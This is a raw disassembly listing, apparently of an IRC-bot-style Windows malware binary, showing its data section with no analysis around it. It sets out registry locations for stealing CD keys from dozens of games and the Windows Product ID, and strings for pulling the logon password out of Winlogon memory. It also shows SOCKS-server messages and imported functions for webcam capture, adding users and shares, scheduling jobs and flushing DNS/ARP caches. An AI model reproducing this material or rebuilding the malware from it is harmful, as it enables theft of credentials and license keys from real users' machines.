		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_42B794	db    2			; DATA XREF: sub_407FEA+3FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42B7E4	db    2			; DATA XREF: sub_407FEA+38Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_42B830	db    2			; DATA XREF: sub_407FEA+2F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4085B3+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4087EE+23o
					; sub_4089E7+26o
		align 10h
		dd 80000001h
off_42B894	dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr
					; sub_408C26+21o
					; "Software\\Valve\\CounterStrike\\Settings"
; ---------------------------------------------------------------------------
		push	500042CAh
		retf	42h
; ---------------------------------------------------------------------------
dword_42B8A0	dd 2 dup(0)		; DATA XREF: sub_408C26+26o
		dd 80000001h, 42CA28h, 42CA1Ch,	42CA0Ch, 2 dup(0)
		dd 80000001h, 42C9ECh, 42C9E8h,	42C9D4h, 2 dup(0)
		dd 80000001h, 42C9B0h, 42C9E8h,	42C9A4h, 2 dup(0)
		dd 80000001h, 42C980h, 42C978h,	42C964h, 2 dup(0)
		dd 80000001h, 42C950h, 42C940h,	42C924h, 2 dup(0)
		dd 80000001h, 42C8E0h, 42CA68h,	42C8CCh, 2 dup(0)
		dd 80000002h, 42C8A0h, 42C894h,	42C874h, 2 dup(0)
		dd 80000002h, 42C840h, 42CA68h,	42C828h, 2 dup(0)
		dd 80000002h, 42C7F4h, 42CA68h,	42C7DCh, 2 dup(0)
		dd 80000002h, 42C7C4h, 42CA68h,	42C7ACh, 2 dup(0)
		dd 80000002h, 42C770h, 436EDCh,	42C760h, 2 dup(0)
		dd 80000002h, 42C728h, 436EDCh,	42C714h, 2 dup(0)
		dd 80000002h, 42C6C8h, 436EDCh,	42C6A8h, 2 dup(0)
		dd 80000002h, 42C658h, 436EDCh,	42C62Ch, 2 dup(0)
		dd 80000002h, 42C5F0h, 436EDCh,	42C5DCh, 2 dup(0)
		dd 80000002h, 42C5A4h, 436EDCh,	42C594h, 2 dup(0)
		dd 80000002h, 42C544h, 436EDCh,	42C518h, 2 dup(0)
		dd 80000002h, 42C4D8h, 436EDCh,	42C4BCh, 2 dup(0)
		dd 80000002h, 42C48Ch, 436EDCh,	42C46Ch, 2 dup(0)
		dd 80000002h, 42C430h, 436EDCh,	42C41Ch, 2 dup(0)
		dd 80000002h, 42C3D4h, 436EDCh,	42C3B4h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_42C360[eax], al
		fsubr	qword ptr [esi+43h]
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd 2 dup(0)
		dd 80000002h, 42C2E0h, 436EDCh,	42C2B4h, 2 dup(0)
		dd 80000002h, 42C274h, 42C26Ch,	42C24Ch, 2 dup(0)
		dd 80000002h, 42C208h, 436EDCh,	42C1ECh, 2 dup(0)
		dd 80000002h, 42C1A0h, 436EDCh,	42C17Ch, 2 dup(0)
		dd 80000002h, 42C148h, 436EDCh,	42C13Ch, 2 dup(0)
		dd 80000002h, 42C108h, 436EDCh,	42C0FCh, 2 dup(0)
		dd 80000002h, 42C0C8h, 436EDCh,	42C0BCh, 2 dup(0)
		dd 80000002h, 42C088h, 436EDCh,	42C07Ch, 2 dup(0)
		dd 80000002h, 42C040h, 436EDCh,	42C02Ch, 2 dup(0)
		dd 80000002h, 42BFF0h, 436EDCh,	42BFDCh, 2 dup(0)
		dd 80000002h, 42BFACh, 42CA68h,	42BF90h, 2 dup(0)
		dd 80000002h, 42BF70h, 42BF68h,	42BF44h, 2 dup(0)
		dd 80000002h, 42BF28h, 42BF68h,	42BF08h, 2 dup(0)
		dd 80000002h, 42BEE8h, 42BF68h,	42BEC4h, 2 dup(0)
		dd 80000002h, 42BEACh, 42BF68h,	42BEA8h, 2 dup(0)
		dd 80000002h, 42BE8Ch, 42BE7Ch,	42BE74h, 2 dup(0)
		dd 80000002h, 42BE40h, 42BE3Ch,	42BE24h, 2 dup(0)
		dd 80000002h, 42BDE8h, 42BDDCh,	42BDB4h, 42BDA4h, 42BD90h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD4Ch, 42BD3Ch, 42BD34h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD08h, 42BD3Ch, 42BD00h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BCD0h, 42BD3Ch, 42BCC8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
byte_42C360	db 53h			; DATA XREF: ___:0042BAA2w
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0
aCdkey		db 'CDKey',0
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o
		align 4
asc_42CA98:				; DATA XREF: sub_408C26+E9o
					; sub_408C26+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408C26+8Fo
					; sub_40EE72:loc_413643o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408C26+7Eo
					; sub_408EE5+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo
		align 4
unk_42CABC	db    2			; DATA XREF: sub_408DCA+C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_42CAEC	db    2			; DATA XREF: sub_408DCA+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408EE5+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408EE5+1Ao
		align 4
unk_42CB3C	db    2			; DATA XREF: sub_409037:loc_4091B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
unk_42CB80	db    2			; DATA XREF: sub_409037:loc_409183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42CBC4	db    2			; DATA XREF: sub_409037:loc_40917Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_42CC0C	db    2			; DATA XREF: sub_409037+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
off_42CC84	dd offset byte_530055	; DATA XREF: sub_409037+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset byte_4E0049
		dd 0
off_42CC9C	dd offset byte_530055	; DATA XREF: sub_409037+CEo
		dd offset byte_520045
		dd offset loc_41004B+3
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_409037+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o
					; sub_409037+161o ...
		align 10h
unk_42CD60	db    2			; DATA XREF: sub_409037+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_409209+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_409209+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_409209+AFo
		align 10h
unk_42CDC0	db    2			; DATA XREF: sub_40966F+70o
					; sub_409706+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_42CE2C	db    2			; DATA XREF: sub_409706+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40981F:loc_40A45Ao
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40981F+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40981F+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40981F+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40981F+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40981F+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40981F:loc_40A3BCo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40981F+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40981F+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40981F:loc_40A372o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40981F:loc_40A2FEo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40981F+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40981F:loc_40A2B4o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40981F:loc_40A26Ao
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40981F+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40981F+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40981F+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40981F+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40981F+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40981F+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40981F+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40981F+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40981F:loc_40A15Fo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40981F+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40981F+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40981F+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40981F:loc_40A100o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40981F+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40981F:loc_409FE0o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40981F+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40981F+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40981F+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40981F+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40981F+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40981F+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40981F+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40981F+62Do
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40981F+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40981F+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40981F+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40981F+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_40981F+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40981F+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_40981F+5D2o
					; sub_40EE72+220Do
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40981F+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40981F+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40981F+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40981F+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40981F+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40981F+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40981F+577o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40981F+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40981F+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40981F+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40981F+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40981F+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40981F+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40981F+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40981F+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40981F+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40981F+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40981F+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40981F+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40981F+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40981F+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40981F+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40981F+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40981F:loc_409C2Eo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40981F:loc_409C06o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40981F+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40981F+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40981F+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40981F+341o
